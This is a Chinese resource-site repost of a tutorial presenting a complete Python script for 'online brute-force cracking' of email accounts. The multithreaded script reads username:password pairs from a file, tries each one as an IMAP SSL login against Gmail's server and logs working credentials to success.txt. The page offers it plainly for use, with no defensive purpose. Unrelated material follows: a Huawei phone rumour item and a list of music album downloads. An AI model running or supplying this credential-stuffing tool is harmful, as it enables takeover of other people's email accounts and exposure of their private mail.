圆月山庄资源网 Design By www.vgjia.com
本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic 字典格式如下(mail.txt) :
username@gmail.com:password username@gmail.com:password username@gmail.com:password
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持ssl https /imap协议。
# version 3.4.0 # coding='UTF-8' # time='2014-09-16' import _dummy_thread import imaplib import threading # global variant GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = [] GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com' GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143 GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993 GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock() GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000 GMAIL_BYTES_READED_TOTAL_SIZE = 0 GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0 GLOBAL_READ_FINISH_STATUS_SUCCESS = False # define global function def Write_Save_Success_Gmail_Jobs(indexSuccess): Success_File = open('success.txt', 'a') Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess]) Success_File.close() def Write_Save_Fail_Gmail_Jobs(indexFail): Fail_File = open('fail.txt', 'a') Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail]) Fail_File.close() # define global function def Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord # define global function def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True: GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire() GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1 print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES) print('IMAP INDEX-------', IndexGmail) print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) Write_Save_Fail_Gmail_Jobs(IndexGmail) # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT) GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143 stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail) try: ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord) except GmailImap4.error : print('Logical errors - debug required') Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.abort : print('Service errors - close and retry') GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.readonly: print('Mailbox status changed to read only') GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return if (ResponseStatus[0] == 'OK'): print('LOGIN SUCCESS') Write_Save_Success_Gmail_Jobs(IndexGmail) GmailImap4.logout() GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else: GmailImap4.close() print('LOGIN FAIL') print(ResponseStatus) Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else: return # define global function class Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__(self, numEnd): self.m_IndexEnd = numEnd threading.Thread.__init__(self) def run(self): # run process while True: if self.m_IndexStart < self.m_IndexEnd: Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart) self.m_IndexStart = self.m_IndexStart + 1 else: break def _delete(self): threading.Thread._delete(self) print('thread delete is : ', self.getName()) # define read function def Read_Send_Single_Func(): IndexStart = 0 print('--------read----star--') global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open('mail.txt', 'r', encoding='UTF-8') File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES: line = File_Read.readline() if line: GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line) CbBytes = line.__len__() GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1 IndexStart = IndexStart + 1 else: GLOBAL_READ_FINISH_STATUS_SUCCESS = True break print('gmail read num ', IndexStart) File_Read.close() print('---------read----end--') # main entry if __name__ == '__main__': print('Main Thread Start : ') while True: if GLOBAL_READ_FINISH_STATUS_SUCCESS != True: Read_Send_Single_Func() wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM) wzt.start() wzt.join() GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear() else: print('data has run out : ') break print('Main Thread End : ')
更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》
希望本文所述对大家Python程序设计有所帮助。
圆月山庄资源网 Design By www.vgjia.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
圆月山庄资源网 Design By www.vgjia.com
暂无评论...
P70系列延期,华为新旗舰将在下月发布
3月20日消息,近期博主@数码闲聊站 透露,原定三月份发布的华为新旗舰P70系列延期发布,预计4月份上市。
而博主@定焦数码 爆料,华为的P70系列在定位上已经超过了Mate60,成为了重要的旗舰系列之一。它肩负着重返影像领域顶尖的使命。那么这次P70会带来哪些令人惊艳的创新呢?
根据目前爆料的消息来看,华为P70系列将推出三个版本,其中P70和P70 Pro采用了三角形的摄像头模组设计,而P70 Art则采用了与上一代P60 Art相似的不规则形状设计。这样的外观是否好看见仁见智,但辨识度绝对拉满。
更新日志
2024年11月07日
2024年11月07日
- 雨林唱片《赏》新曲+精选集SACD版[ISO][2.3G]
- 罗大佑与OK男女合唱团.1995-再会吧!素兰【音乐工厂】【WAV+CUE】
- 草蜢.1993-宝贝对不起(国)【宝丽金】【WAV+CUE】
- 杨培安.2009-抒·情(EP)【擎天娱乐】【WAV+CUE】
- 周慧敏《EndlessDream》[WAV+CUE]
- 彭芳《纯色角3》2007[WAV+CUE]
- 江志丰2008-今生为你[豪记][WAV+CUE]
- 罗大佑1994《恋曲2000》音乐工厂[WAV+CUE][1G]
- 群星《一首歌一个故事》赵英俊某些作品重唱企划[FLAC分轨][1G]
- 群星《网易云英文歌曲播放量TOP100》[MP3][1G]
- 方大同.2024-梦想家TheDreamer【赋音乐】【FLAC分轨】
- 李慧珍.2007-爱死了【华谊兄弟】【WAV+CUE】
- 王大文.2019-国际太空站【环球】【FLAC分轨】
- 群星《2022超好听的十倍音质网络歌曲(163)》U盘音乐[WAV分轨][1.1G]
- 童丽《啼笑姻缘》头版限量编号24K金碟[低速原抓WAV+CUE][1.1G]